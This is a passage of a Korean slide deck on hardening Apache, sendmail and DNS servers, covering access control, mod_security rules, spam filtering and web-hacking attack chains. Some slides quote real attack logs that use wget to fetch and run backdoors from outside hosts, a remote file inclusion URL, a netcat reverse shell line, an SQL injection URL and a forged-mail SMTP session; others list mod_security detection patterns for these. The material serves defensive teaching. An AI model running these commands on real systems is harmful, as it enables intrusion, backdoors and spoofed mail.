httpd.conf 보안설정 <Directory /> <LimitExcept GET POST> Order allow,deny deny from all </LimitExcept> </Directory> indexes 설정 <IfModule mod_userdir.c> UserDir disabled UserDir enabled user1, user2 </IfModule> </IfModule> # cat access_log* awk '{print $6}' sort uniq -c sort -rn 1341818 "GET 3841 "POST 1096 "OPTIONS 112 "PROPFIND 25 "HEAD # cat access_log* grep HEAD 220.95.221.75 - - [11/May/2005:07:07:46 +0900] "HEAD /test/06help/download/form1.zip HTTP/1.1" 302 0 "-" "EMPAS_ROBOT" 195.92.95.15 - - [13/May/2005:10:48:18 +0900] "HEAD / HTTP/1.1" 200 0 "http://www.netcraft.com/survey/" "Mozilla/4.0 (compatible; Netcraft Web Server Survey)" 51

httpd.conf 나.htaccess 를이용한웹접근제어 httpd.conf 이용시 <Directory /home/abc/> Order deny, allow 뒤쪽에선언된것이우선이자기본 Deny from all Allow from 211.47.64 211.47.65 </Directory> 211.47.64. 와 211.47.65. 대역만접근가능. 이외 IP 대역에서접근시 404 Forbidden 에러. 52

.htaccess 파일을이용한접근제어 AuthName "Only Members" AuthType Basic AuthUserFile /usr/data/.htpasswd ErrorDocument 401 " ABC 직원만접근가능합니다. <Limit GET POST> require valid-user Satisfy all order deny,allow Satisfy all 두조건모두적합해야함. allow from 192.168.1 any 하나만적합하면됨. allow from 210.60.58.217 미설정시 all 이기본설정값 deny from all </Limit> 53

.htaccess 파일을이용한접근제어 # htpasswd -c /usr/data/.htpasswd test New password: xxxx Re-type new password: xxxx Adding password for user test 54

.htaccess 이용시주의점 (p 94) 1. 문법에어긋날경우 500 error 2. 윈도우에서생성시확장자에.txt 가붙는문제 3..htaccess 적용시속도저하문제 ( 이론적 ) 4..htaccess /.htpasswd 의위치는웹에서접근불가하도록설정 <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> 55

Webzip, Teleport 등일부 agent 프로그램차단 BrowserMatch "WebZIP" go_out BrowserMatch "Teleport" go_out BrowserMatch "GetRight" go_out <Directory /> Options ExecCGI Order allow,deny Allow from all SetEnvIFNoCase Referer "hananet" link_deny Deny from env=go_out SetEnvIFNoCase Referer "netian" link_deny </Directory> <FilesMatch "\.(avi mpg asf)$"> Order allow,deny allow from all deny from env=link_deny </FilesMatch> 56

기타설정 Timeout 300 60 용량이큰데이터를수신할때의시간이아님. 세션을맺은후아무런메시지가발생하지않을동안의대기시간 RLimitMEM 20480000 RLimitCPU 10 <Directory /home/special/public_html/*> RLimitMEM 51200000 </Directory> KeepAlive On/Off 의차이점 57

최근의공격진행방법 1. 웹 app 의취약성을이용한해킹시도로 nobody 권한획득 google 등검색엔진이용 2. wget, lynx 등을실행하여백도어코드 /tmp 에다운로드 3. 웹을통해임의의포트를 bind 하는백도어코드실행또는 reverse connection shell 실행 4. 해당포트로원격접속 5. kernel 의취약성을이용한 root 권한획득 6. 스니핑등각종 rootkit 설치 7. ssh 스캔또는 udp flooding DoS 공격시도 58

Why WebHacking?? -. ssh 나 sendmail, bind 등상대적으로각종데몬의취약성이많이사라짐에반해웹취약성은계속증가함 -. 로그를남기지않는경우도많고, 남는다하더라도공격관련로그를찾기가어려움 -. 방화벽의확산으로접속가능한포트가한정적임 59

웹 app 의취약성을이용한공격예 awstats 의취약성을이용한예 200.96. xx.xxx - - [26/Jan/2005:06:32:00 +0000] "GET /cgi-bin/awstats/awstats.pl?xxxx=%20/tmp; wget%20http://www.nokiacxxxx.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00 HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 200.96.xx.xxx - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp; wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" technote 의취약성 ( 시스템명령어실행이가능함 ) 을이용한예 201.9.xxx.xxx - - [28/Oct/2004:10:59:45 +0900] "GET /cgi/b/t/board/main.cgi?board=free_board&command=xxxx_xxxx&xxxxxx= wget%20- P%20/tmp%20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" 백도어파일업로드 제로보드의취약성 ( 외부소스실행 ) 을이용한예 php.ini 에서 allow_url_fopen = Off 200.103.32.152 - - [14/Feb/2005:08:26:06 +0900] "GET /bbs//include/write.php? dir=http://www.xxx.xxx.br/contador/cmd?&cmd=id HTTP/1.0" 200 0 219.116.94.139 - - [14/Feb/2005:09:54:38 +0900] "GET http://xxx.xxx.xxx.kr/bbs//include/write.php? dir=http://www.xxx.xxx.br/cmd.txt?&cmd=ver HTTP/1.0" 200 0 60

Open Source Web Application Firewall Request filtering Anti-evasion techniques POST payload analysis Audit logging HTTPS filtering http://www.modsecurity.org/ 61

modsecurity 활용 <IfModule mod_security.c> # Turn the filtering engine On or Off SecFilterEngine On # Change Server: string SecServerSignature " Microsoft-IIS/5.0" # httpd.conf 에서 ServerTokens Prod 이용 # telnet sample.com 80 HEAD / HTTP/1.0 Apache/1.3.28 (Unix) PHP/4.2.3 Via: 1.1 jaguar01 (Jaguar/3.0-71) # The audit engine works independently and can be turned On or Off on the per-server or # on the per-directory basis. "On" will log everything,"dynamicorrelevant" will log dynamic # requests or violations, and "RelevantOnly" will only log policy violations SecAuditEngine RelevantOnly # The name of the audit log file SecAuditLog logs/audit_log # Should mod_security inspect POST payloads SecFilterScanPOST On # Action to take by default SecFilterDefaultAction "deny,log,status:403" SecFilterSelective REQUEST_METHOD "!(GET POST HEAD)" deny,log,status:403 <Directory /> <LimitExcept GET POST> Order allow,deny deny from all </LimitExcept> </Directory> 62

# Require Content-Length to be provided with # every POST request SecFilterSelective REQUEST_METHOD "^POST$" chain SecFilterSelective HTTP_Content-Length "^$" SecFilterSelective ARG_username admin chain SecFilterSelective REMOTE_ADDR "!^211.47.64.5$ SecFilterSelective REMOTE_ADDR "^127.0.0.1$" nolog,allow SecFilterSelective THE_REQUEST "wget " SecFilterSelective THE_REQUEST lynx SecFilterSelective THE_REQUEST "mkdir" SecFilterSelective THE_REQUEST "/tmp" SecFilterSelective THE_REQUEST "/bin" SecFilterSelective THE_REQUEST "/admin_/" log,pass SecFilterSelective THE_REQUEST "/.bash_history" # WEB-CGI bash access SecFilterSelective THE_REQUEST "/bash" log,pass SecFilterSelective THE_REQUEST "awstats" chain SecFilterSelective ARGS "(pluginmode loadplugin debug configdir perl cgi chmod exec print)" 63

web log : [12/Oct/2004:16:07:49 +0200] "GET /command.php?/bin/chown HTTP/1.1" 405 240 mod_security-message: Access denied with code 405. Pattern match "bin/" at THE_REQUEST. 64

======================================== Request: 222.xx.xx.xx - - [30/May/2005:21:33:46 +0900] "POST /xxxxx.php HTTP/1.1" 500 616 Handler: (null) ---------------------------------------- POST /xxxxx.php HTTP/1.1 Host: xxxxxx.com Referer: http://xxxxxx.com/xxxxx.php mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at POST_PAYLOAD. mod_security-action: 500 command=cat+%2fetc%2fpasswd HTTP/1.1 500 Internal Server Error Connection: close SecFilter : 모든 GET, POST 등모든데이터에대한검사 SecFilterSelective : REMOTE_ADDR, REMOTE_HOST, REMOTE_USER REMOTE_IDENT, REQUEST_METHOD 등모든 cgi 변수 65

SecFilterSelective OUTPUT "Fatal error:" deny,status:500 ErrorDocument 500 /php-fatal-error.html SecFilterOutputMimeTypes "(null) text/html text/plain" # output 은 html 이나 txt 만모니터링하도록설정 <Location /cgi-bin/formmail> # Reject request where the value of parameter "recipient" # does not end with "@webkreator.com" SecFilterSelective ARG_recipient "!@webkreator.com$"> </Location> SecUploadDir /tmp SecUploadKeepFiles On SecUploadApproveScript /full/path/to/the/script.sh # 업로드되는파일에대해바이러스체크등 SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from SecFilter "drop[[:space:]]table" </IfModule> http://www.samplesite.com/login.php?username=admin'; DROP%20TABLE%20users-- 66

기존백도어방식 기존방식의한계 (1) 관리자의눈에쉽게띈다. (2) 방화벽이설치되어있는경우원격에서해당포트로의직접접근이불가하다. 67

reverse telnet 의원리 (1) attacker 에서임의의포트로 bind 한후대기 (nc -l p 80) (2) 웹해킹을이용, nobody 권한획득 (3) victim 에서 nc attacker 80 e /bin/sh 실행 attacker (4) 이후 attacker 에서입력하는명령어는 victim 에서실행 victim 68

reverse telnet-rwwwshell 예 http://www.thc.org/papers/fw-backd.htm slave(victim) : $ perl rwwwshell-2.0.pl slave starting in slave mode master(attacker) : # perl rwwwshell-2.0.pl master Waiting for connect... connect from victim.server.com:58745 bash$ w master 에서명령어를입력하면 slave 에서실행됨 03/14-17:03:05.020082 공격자시스템 :80 -> slave 시스템 :38796 TCP TTL:63 TOS:0x0 ID:64287 IpLen:20 DgmLen:116 DF ***AP*** Seq: 0x353C015E Ack: 0x2711C1B Win: 0x1920 TcpLen: 20 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK. 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F.Connection: clo 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 se..content-type 3A 20 74 65 78 74 2F 70 6C 61 69 6E 0D 0A 0D 0A : text/plain... 6F 35 6D 41 6C 61 50 48 74 7A 0D 0A o5malaphtz.. 명령어가 encoding 됨 03/14-17:03:11.026111 slave 시스템 :38797 -> 공격자시스템 :80 TCP TTL:64 TOS:0x0 ID:10925 IpLen:20 DgmLen:450 DF ***AP*** Seq: 0x436B1FE Ack: 0x366E299D Win: 0x16D0 TcpLen: 20 47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 6F 72 64 GET /cgi-bin/ord 65 72 66 6F 72 6D 3F 4D 35 6D 41 6C 61 50 49 6F erform?m5malapio 6A 47 63 4F 6A 43 48 72 2B 57 71 52 66 56 6B 72 jgcojchr+wqrfvkr 66 37 35 53 61 73 71 42 39 32 71 4D 66 57 35 4E f75sasqb92qmfw5n 61 67 35 44 73 42 74 72 35 67 75 72 66 36 70 55 ag5dsbtr5gurf6pu 66 47 30 72 7A 4D 2B 57 71 52 66 56 6B 72 38 37 fg0rzm+wqrfvkr87 30 72 38 46 70 4F 61 73 71 59 66 57 34 72 66 46 0r8FpOasqYfW4rfF 명령어의결과가 encoding 되어전달됨 69

reverse telnet 의장점 (1) 로그 (log) 에남지않는다. (2) 관리자가알기어렵다. (3) 방화벽을우회할수있다. (4) nc 외다양한 script 가존재한다. $./conback.pl Usage:./conback.pl ip port * reverse telnet 대응방법 방화벽보안설정을변경하여 inbound 뿐만아니라 outbound 에대해서도엄격히정책을통제한다. 70

웹해킹후 DoS 공격실행예 71

UDP flooding 공격시 PPS 증가 udp flooding 에대한대책 iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -F INPUT iptables -F OUTPUT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -p udp! --dport 53 -m state --state NEW -j DROP 72

메일서버 (sendmail) 보안 1. SMTP relay (1) relay 가허용된메일서버를통해직접발송 (2) formmail 등웹 app 의취약성을이용하여발송 http://domain.com/formmail.cgi?recipient=xxxx@xxx.com&message=spamtest (3) open 된 proxy 등을통해발송 ("CONNECT smtp.rol.ru:25 HTTP/1.0 ) 2. sendmail.cf 보안설정 3. 스팸, 바이러스대응방안 73

반송메시지의의미 Sorry,access denied(211.47.69.xx).your mail server sent too many e- mails to us(1200).spammer may abuse your mail server for mail relay.if you are not the system administrator,inform this message to your system administrator. DNS resolving error --> 수신하는쪽서버의도메인을찾지못해반송된경우 Insufficient disk space; try again later 수신하는쪽서버의디스크용량이부족 74

반송메시지의의미 sorry, that domain isn't in my list of allowed rcpt hosts --> 일부메일서버에서는허용된발신메일주소만을허용하고나머지는거부하는경우 <xxxx@xxxxx.com>... Domain of sender address xxxx@xxxxx.com does not exist --> 수신하는쪽메일서버에서발신도메인을존재하지않는도메인으로인식하여반송 delivery error: Sorry, your message to xxxx@xxx.co.kr cannot be delivered. This account is over quota. Your host does not have reverse dns entry. Please Contact your internet services provider 75

정상적인 Mail 전송시 Header pop.receive.com mail.smtp.com Received: from mail.smtp.com (mail.smtp.com [194.41.63.57] by pop.receive.com (8.11.6/8.11.6) with ESMTP id UAA06615 for <mail@receive.com>; Wed, 5 Feb 2005 20:04:55+0100 (KST) Received: from sender.com (sender.com)[194.158.5.157] by mail.smtp.com (ipl/ipl) with ESMTP id UAA46506 for <mail@receive.com>; Wed, 5 Feb 2005 20:04:21+0100 (KST) Received: by sender.com with Microsoft Mail id <01BD31A7.B4C12C20@sender.com> Wed, 5 Feb 2005 20:01:39 +0100 (KST) sender.com 76

Mail Header 변조 # telnet tt.co.kr 25 Trying 211.47.66.50... Connected to tt.co.kr (211.47.66.50). Escape character is '^]'. 220 www10.tt.co.kr ESMTP Today and Tomorrow(http://tt.co.kr/) HELO kisa.or.kr 250 www10.tt.co.kr Hello [211.47.65.57], pleased to meet you MAIL FROM:antihong@antihong.com 250 2.1.0 antihong@antihong.com... Sender ok RCPT TO:antihong@tt.co.kr 250 2.1.5 antihong@tt.co.kr... Recipient ok DATA 354 Enter mail, end with "." on a line by itself Received: from antihong.com (antihong.com [300.300.300.300]) by tt.co.kr (8.11.6) id 004A21 Received: from center.kisa.or.kr (center.kisa.or.kr [211.252.150.11]) by antihong,com (8.14.5) id 004A21 From: root@kisa.or.kr (KISA) To: antihong@antihong.org Date: Tue, Mar 18 1997 14:36:14 KST Message-Id: <rth031897143614-00000298@center.kisa.or.kr> X-Mailer: Aantihong v1.22 Subject: Hello?? Hello.... 250 2.0.0 j5313eo25017 Message accepted for delivery QUIT 77

78

Queue 파일예 RPFD:<tmfdk99@hanmir.com> RPFD:<tmfdk91@hanmir.com> RPFD:<tmfdk5573@hanmir.com> RPFD:<tmfdk486@hanmir.com> RPFD:<tmfdk4352@hanmir.com> RPFD:<tmfdk3587@hanmir.com> RPFD:<tmfdk222@hanmir.com> RPFD:<tmfdk0102@hanmir.com> H?P?Return-Path: < 갾 > H??Received: from tuji.net ([218.145.217.174]) (authenticated) by smtp.xxxxxx.co.kr (8.11.6/8.11.6) with ESMTP id j48drud04861; Sun, 8 May 2005 22:53:56 +0900 H?M?Message-Id: <200505081353.j48DruD04861@smtp.xxxxxx.co.kr> H??From: "sardasda" <sardasda@hotmail.com> H??To: "tmfdktkfkdgo" <tmfdktkfkdgo@hanmir.com> H??Subject: 무조건누구라도바로빌려드립니다가장싸게무조건바로말만하세요 79

SMTP relay 허용문제 (IP 기반인증 ) /etc/mail/access 파일에서제어 spammer@aol.com REJECT abc.com REJECT Goodman@abc.com OK test.com 550 No Spam Here. 203.34 REJECT 211.47.64 RELAY access_db 기능들 OK : 다른기능에의해거부되도록설정된곳에서 mail 이와도받는다. RELAY : relay 허용 REJECT : mail 수신거부, 거부 message 를송신자에게보냄 DISCARD : 수신후삭제한다. SMTP-code message : RFC821 에명시되어있는 smtp code 와상대에게보내질 message 작성후 /etc/mail 에서 makemap hash /etc/mail/access < /etc/mail/access 로 DB 화. 80

SMTP relay 허용문제 (id/pw 기반인증 ) /etc/mail/sendmail.mc 에서 dnl 부분삭제 dnl define(`confauth_mechanisms', `LOGIN PLAIN DIGEST-MD5 CRAM-MD5')dnl dnl TRUST_AUTH_MECH(`LOGIN PLAIN DIGEST-MD5 CRAM-MD5')dnl Delete till New Line 의약자 ( 불필요한공백문자 ( 탭, 공백 ) 을제거 ) # m4 /etc/mail/sendmail.mc > /etc/sendmail.cf 로 sendmail.cf 다시생성 이후보내는메일서버에서서버내 id/pw 로사용자인증가능 릴레이여부확인 : http://www.krcert.or.kr/cgi-bin/reltest.pl?ip_addr=221.143.x.x blacklist 여부확인 http://www.dnsstuff.com/tools/ip4r.ch?ip=221.143.x.x 81

Sendmail 설정을통한서비스제한 sendmail.cf 설정 # Limit maximum outgoing message size O MaxMessageSize=5024000 # Limit maximum incoming message size. Mlocal, P=/usr/bin/procmail, F=lsDFMAw5:/ @qspfhn9, S=10/30, R=20/40, M=5024000, T=DNS/RFC822/X-Unix, A=procmail -Y -a $h -d $u # maximum number of recipients per SMTP envelope O MaxRecipientsPerMessage=20 # SMTP initial login message (old $e macro) #O SmtpGreetingMessage=$j Sendmail $v/$z; $b O SmtpGreetingMessage=$j welcome to HanMail.Net(tm) #O QueueDirectory=/var/spool/mqueue O QueueDirectory=/var/spool/mqueue/q* 82

스팸, 바이러스대응방안 대부분의상용제품이 MX 레코드를이용한 spamwall 또는 viruswall 이용 일부는메일서버에직접탑재하는형태로사용 anti-바이러스 : http://www.hbedv.com/ anti-스팸 : http://spamassassin.apache.org/ 83

anti-spam 솔루션활용 # cat /etc/procmailrc :0fw: spamassassin.lock * < 256000 /usr/bin/spamc -u $LOGNAME user_prefs 파일허용 :0 * ^X-Spam-Level: \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* /var/spool/mail/spam-mail :0 B * Content-Disposition: attachment * name=.*\.(com pif scr bat lnk shf cpl cmd vbs) { # Stick it somewhere :0 B: /dev/null } 84

anti-spam 솔루션활용 설정파일 (1) /usr/share/spamassassin/*.cf (2) /etc/mail/spamassassin/*.cf (3) ~$HOME/.spamassassin/user_prefs # cat /etc/mail/spamassassin/*.cf required_score 8.0 rewrite_header Subject [SPAM] blacklist_from *@test.com whitelist_from *@myfriend.co.kr allow_user_rules 1 룰예 : header L_s_casino Subject =~ /c[a\@]sin[o0]/i score L_s_casino 0.3 describe L_s_casino Subject mentions a casino 스팸룰파일 : http://www.exit0.us/ 85

직접룰설정해보기 정상 hanmail Received: from ([211.43.197.27]) by relay.tt.co.kr ; Thu, 8 Jul 2004 14:55:49 +0900 (KST) Received: from wwl293.hanmail.net ([211.233.31.44]) by smail-105.hanmail.net (8.12.1/8.9.1) with ESMTP id i685tldt013998; Thu, 8 Jul 2004 14:55:48 +0900 Received: (from hanadmin@localhost) by wwl293.hanmail.net (8.12.9/8.9.1) id i685tdc4019638 for <antihong@tt.co.kr>; Thu, 8 Jul 2004 14:55:39 +0900 스팸 hanmail Received: from ([211.247.225.141]) by www10.tt.co.kr (8.11.6/8.11.6) with ESMTP id i86e9eo06285; Mon, 6 Sep 2004 23:09:14 +0900 header LOCAL_DAUM_RULE Received =~ /(from hanadmin\@localhost)/ score LOCAL_DAUM_RULE -5.5 describe LOCAL_DAUM_RULE This is a normal daum rule 86

직접룰설정해보기 정상 paran mail Received: from system.tt.co.kr ([211.47.65.83]) by www10.tt.co.kr (8.11.6/8.11.6) with ESMTP id i87blqh05009 for <antihong@tt.co.kr>; Tue, 7 Sep 2004 20:21:52 +0900 Received: from mail12.paran.com ([211.41.82.117]) by system.tt.co.kr (8.11.6/8.10.1) with SMTP id i87blsr26079 for <antihong@tt.co.kr>; Tue, 7 Sep 2004 20:21:54 +0900 Message-Id: <200409071121.i87BLsR26079@system.tt.co.kr> Received: from 211.219.171.33 ([211.219.171.33]) by mail12.paran.com (ParanMail Web 0.1) with ESMTP for <antihong@tt.co.kr>; Tue, 7 Sep 2004 20:22:07 +0900 header LOCAL_PARAN_RULE Received =~ /ParanMail Web/ score LOCAL_PARAN_RULE -10 describe LOCAL_PARAN_RULE This is a normal PARAN rule 87

#netstat lnp tcp 0 127.0.0.1:783 LISTEN 17468/spamd -d -c 옵션에서 s null 시로그에남지않음 # tail f /var/log/maillog spamd[22769]: connection from mail02.tt.co.kr [127.0.0.1] at port 51835 spamd[22769]: info: setuid to tt_1318kawe_com_01 succeeded spamd[22769]: processing message <FBBZYXCWUCBFXWRNMLWQMBW@yahoo.com> for tt_1318kawe_com_01:2731. spamd[19783]: processing message <200505070201.j4721XVC023718@mail02.tt.co.kr> for wooji2:7177. spamd[22769]: identified spam (26.9/8.0) for tt_1318kawe_com_01:2731 in 0.2 seconds, 1856 bytes. spamd[22769]: result: Y 26 - CG_hm_MSGID_SPAM2,FORGED_MUA_OUTLOOK,FORGED_OUTLOOK_HTML,HE AD_ILLEGAL_CHARS,HTML_50_60,scantime=0.2,size=1856,mid=<FBBZYXCW UCBFXWRNMLWQMBW@yahoo.com> 88

대용량메일서버에서의활용 89

큐잉서버활용 # dig @ns.dacom.co.kr server.com mx server.com. 1D IN MX 30 mail3.server.com. server.com. 1D IN MX 10 server.com. server.com. 1D IN MX 20 mail2.server.com. server.com. 1D IN A 211.47.64.10 mail2.server.com. 1D IN A 211.47.65.19 mail3.server.com. 1D IN A 221.139.0.1 90

SURBL 기능활용 RBL (Realtime Blackhole List): list of IP addresse of sources of unsolicited commercial and bulk email RSS (Relay Spam Stopper): list of IP addresses of "open relay" mail servers OPS (Open Proxy Stopper): list of IPs that have been used, as an open proxy Contains False Positive SURBL - Spam URI Realtime Blocklists(http://www.surbl.org/) ; RBL designed to be used to block or tag spam based on URIs (usually their domain names) contained within the message body False Positive rate : 0.0001% and need less memory using DNS cache. 91

SURBL 기능설정 (at SpamAssassin 3) enable Network test install lastest Net::DNS module SURBL List : http://www.surbl.org/lists.html sc.surbl.org - SpamCop message-body URI domains - thresholding of the minimum number of reports and whitlist: to reduce false positive ws.surbl.org - sa-blacklist domains as a SURBL be.surbl.org - BigEvil and MidEvil domains (deprecated; use ws.surbl.org instead) ob.surbl.org - OutBlaze spamvertised sites ab.surbl.org - AbuseButler spamvertised sites multi.surbl.org - Combined SURBL list ph - Phishing data source jp - jwspamspy + Prolocation data source 92

Local SURBL using bind install the lastest bind and rsync mkdir /var/named/surbl adding /etc/named.conf (all SURBL:http://www.surbl.org/lists.html) zone "sc.surbl.org" { type master; file "surbl/sc.surbl.org.bind"; }; zone "ws.surbl.org" { type master; file "surbl/ws.surbl.org.bind"; }; zone ab.surbl.org" { type master; file "surbl/ab.surbl.org.bind"; }; 93

Local SURBL using bind /etc/cron.daily/rsync #!/bin/sh rsync -t SURBL_Rsync_Host::surbl/*.bind /var/named/surbl killall -HUP named local.cf score URIBL_AB_SURBL 4 score URIBL_OB_SURBL 4 score URIBL_PH_SURBL 4 score URIBL_SC_SURBL 4 score URIBL_WS_SURBL 3 94

SURBL result RBL 조회 : http://www.rulesemporium.com/cgi-bin/uribl.cgi 95

새로운공격기법에대한대응 dictionary attack joe job attack dictionary attack 의로그 Jun 2 02:20:22 www sendmail[12366]: j51hkmo12366: <kaa09287@tt.co.kr>... User unknown Jun 2 02:20:22 www sendmail[12366]: j51hkmo12366: <kaa10764@tt.co.kr>... User unknown Jun 2 02:20:22 www sendmail[12366]: j51hkmo12366: <kaa12561@tt.co.kr>... User unknown Jun 2 02:20:22 www sendmail[12366]: j51hkmo12366: <kaa15230@tt.co.kr>... User unknown Jun 2 02:20:22 www sendmail[12366]: j51hkmo12366: <kaa15645@tt.co.kr>... User unknown 96

새로운공격기법에대한대응 메시지당동시수신자수제한 (sendmail.cf) # maximum number of recipients per SMTP envelope # O MaxRecipientsPerMessage=100 기본값 : 무제한 # maximum number of recipients per SMTP envelope O MaxRecipientsPerMessage=10 # telnet mail.test.com 25 Trying 127.0.0.1... Connected to mail. Escape character is '^]'. 220 mail.test.com ESMTP ehlo sis2005 250-mail.test.com Hello mail.test.com [127.0.0.1], pleased to meet you mail from:<test@abc.com> 250 2.1.0 <test@abc.com>... Sender ok rcpt to:<first@abc.com> 250 2.1.5 <first@abc.com>... Recipient ok rcpt to:<second@abc.com> 452 4.5.3 Too many recipients 97

새로운공격기법에대한대응 에러발생유저제한 (sendmail.cf) User unknown이일정이상되면나머지 RCPT 응답을느리게 (1초동안중지 ) 반응 # limit the rate recipients per SMTP envelope are accepted # once the threshold number of recipients have been rejected O BadRcptThrottle=2 기본값 : 제한없음 ehlo sis2005 250-mail.test.com Hello mail.test.com [127.0.0.1], pleased to meet you mail from:<test@abc.com> 250 2.1.0 <test@abc.com>... Sender ok rcpt to:<root1@abc.com> 550 5.1.1 <root1@abc.com>... User unknown rcpt to:<root12@abc.com> 550 5.1.1 <root12@abc.com>... User unknown rcpt to:<root122@abc.com> 550 5.1.1 <root122@abc.com>... User unknown <-- 이후부터는느리게응답 Jun 2 17:26:32 mail sendmail[10575]: j528qbpt010575: [211.xx.xx.xx]: Possible SMTP RCPT flood, throttling. 98

새로운공격기법에대한대응 connection rate 제한 (access) 이중에는1분 (60s) 당클라이언트 IP에대한connection 수를제한시간은 sendmail.cf에서정의 # Width of the window #O ConnectionRateWindowSize=60s /etc/mail/access 예 ClientRate:127.0.0.1 0 ClientRate:211.47.65 2 ClientRate: 5 >>> MAIL From:<root@abc.com> SIZE=26 250 2.1.0 <root@abc.com>... Sender ok >>> RCPT To:<root@antihong.com> 421 4.3.2 Connection rate limit exceeded. rate 초과시서버응답 >>> QUIT 99

새로운공격기법에대한대응 동시접속제한 (access) 동시에세션이맺어질수있는수를제한 /etc/mail/access 예 ClientConn:127.0.0.1 0 ClientConn:211.47.65 2 ClientConn: 5 # telnet mail.test.com 25 Trying mail.test.com... Connected to mail.test.com. Escape character is '^]'. 421 4.3.2 Too many open connections. 100

새로운공격기법에대한대응 동시접속제한 (iptables 활용 ) $IPTABLES -A INPUT -p tcp -s 192.168.1.1 --dport 25 m state state NEW -j ACCEPT $IPTABLES -A INPUT -p tcp --syn --dport 25 -m connlimit --connlimit-above 3 -j DROP $IPTABLES -A INPUT -m recent --name spammer --rcheck --seconds 300 -j DROP $IPTABLES -A INPUT -p tcp --syn --dport 25 -m connlimit --connlimit-above 3 -m recent --name spammer --set -j DROP 101

새로운공격기법에대한대응 greet_pause (access)-against slamming 220 tt.co.kr ESMTP greet message >>> EHLO tt.co.kr 250-vwall.tt.co.kr Hello localhost.localdomain [127.0.0.1], pleased to meet you >>> MAIL From:<antihong@tt.co.kr> 250 2.1.0 <antihong@tt.co.kr>... Sender ok >>> RCPT To:<master@antihong.com> 250 2.1.5 <master@antihong.com>... Recipient ok >>> DATA GreetPause:127.0.0.1 0 GreetPause:211.47.65 9000 # 9s GreetPause: 1000 # 1s 102

새로운공격기법에대한대응 # telnet mail.test.com 25 Trying mail.test.com... Connected to mail.test.com Escape character is '^]'. ehlo localhost slamming 과같이 greet 메시지를기다리지않고바로 ehlo 등다음단계로진행하는경우 554 mail.test.com ESMTP not accepting messages 250-mail.test.com Hello [211.47.xx.xx], pleased to meet you 250 ENHANCEDSTATUSCODES mail from:<abc@abc.com> 550 5.0.0 Command rejected rcpt to:<root@abc.com> 550 5.0.0 Command rejected /var/log/maillog Jun 2 18:43:59 mail sendmail[10696]: j529huy8010696: rejecting commands from [211.47.xx.xx] due to pre-greeting traffic 103

joe job attack 유래 : 1996년호스팅업체인 joes.com 에서스팸메일발송업체차단 이에대한앙갚음으로 joes.com에서스팸을발송한것처럼대량스팸메일발송 joes.com에대한도덕적, 물질적타격정의 : 앙갚음을하려고하거나악의적인의도를가지고스팸메일을발송하여실제발송자와전혀관계없는제 3자가마치스팸을발송한것처럼가장하는형태의공격. 신용사기인 scam과개인정보수집을목적으로하는 phishing과다소의의미차이있음 104

Return-Path attack 에대한대응방법 /etc/mail/virtusertable 에설정 abc@abc.com abc xyz@abc.com xyz user2@abc.com user2 user3@abc.com user3...... @abc.com unknown @abc.com error:5.7.0:550 No such user here ; no use server resource # cat ~unknown/.forward /dev/null 105

기타솔루션 (greylisting) http://projects.puremagic.com/greylisting/) 작동원리 : 3 가지변수 (IP, 발신자, 수신자 ) 이용 milter(mail filter) function required. 메일전송 400 계열에러시 queue 에저장후재전송시도 정상 mail system 4xx Error : try again later queue 에저장후메일재전송 OK: 메일수신 이후해당정보를통해발송되는메일은자동으로일정시간동안 whitelist 에등록 greylist 메일서버 106

spammer 메일전송 Error : try again later 메일재전송하지않음스패머로부터오는메일은자동으로차단 greylist 메일서버 Incoming mail vs. Spam during last 12 months 107

>>> HELO antihong.com 250 tt.co.kr Hello [antihong.com], pleased to meet you >>> MAIL From:<root@antihong.com> 450 4.3.2 <root@antihong.com>... graylisted - please try again later antihong@tt.co.kr... Deferred: 450 4.3.2 <root@antihong.com>... graylisted please try again later Closing connection to tt.co.kr /var/log/maillog Jun 8 17:34:59 tt sendmail[31450]: j588ywg4031450: Milter: from=<root@antihong.comr>, reject=450 4.3.2 graylisted - please try again later some problem -. Some MTA doesn t do as SMTP standard -. Some spammer using queue and retry function. Customizing required!! 108

DNS 서버보안 목차 Bind DNS 를중심으로 DNS 보안이왜중요한가? DNS protocol 의보안취약성 Bind DNS 의버전 DNS 서버의보안 DNS 서버의물리적 / 용도에따른분리 DNS 서버의서비스제한 (ACL) TSIG 를활용한보안강화 Bind 버전정보이슈 DNS 방화벽정책기타 DNS 이슈 Root DNS 에대해 109

DNS 보안이왜중요한가? DNS 자체취약성 * 시스템취약성 TOP20 UNIX 분야 1 위 http://www.sans.org/top20/ * 자체취약성으로인한보안문제유발 http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=dns : 75 건 http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bind : 33 건 DNS 는인터넷서비스의근간 * Forward Lookup (Host IP) www.yahoo.co.kr 202.43.214.151 * Reverse Lookup (IP Host) 202.43.214.151 UNKNOWN-202-43-214-151.yahoo.com 110

DNS protocol 의취약성예 1. 공격자는특정도메인 (microsoft.com) 에대한많은질의를한다. 2. 질의한도메인 (microsoft.com) 에대해위조된응답을보낸다. 3. 이후 client 가 microsoft.com 도메인에대한정상적인질의를한다. 4.DNS 서버는 1-2 번공격에의해잘못된정보를제공한다. 111

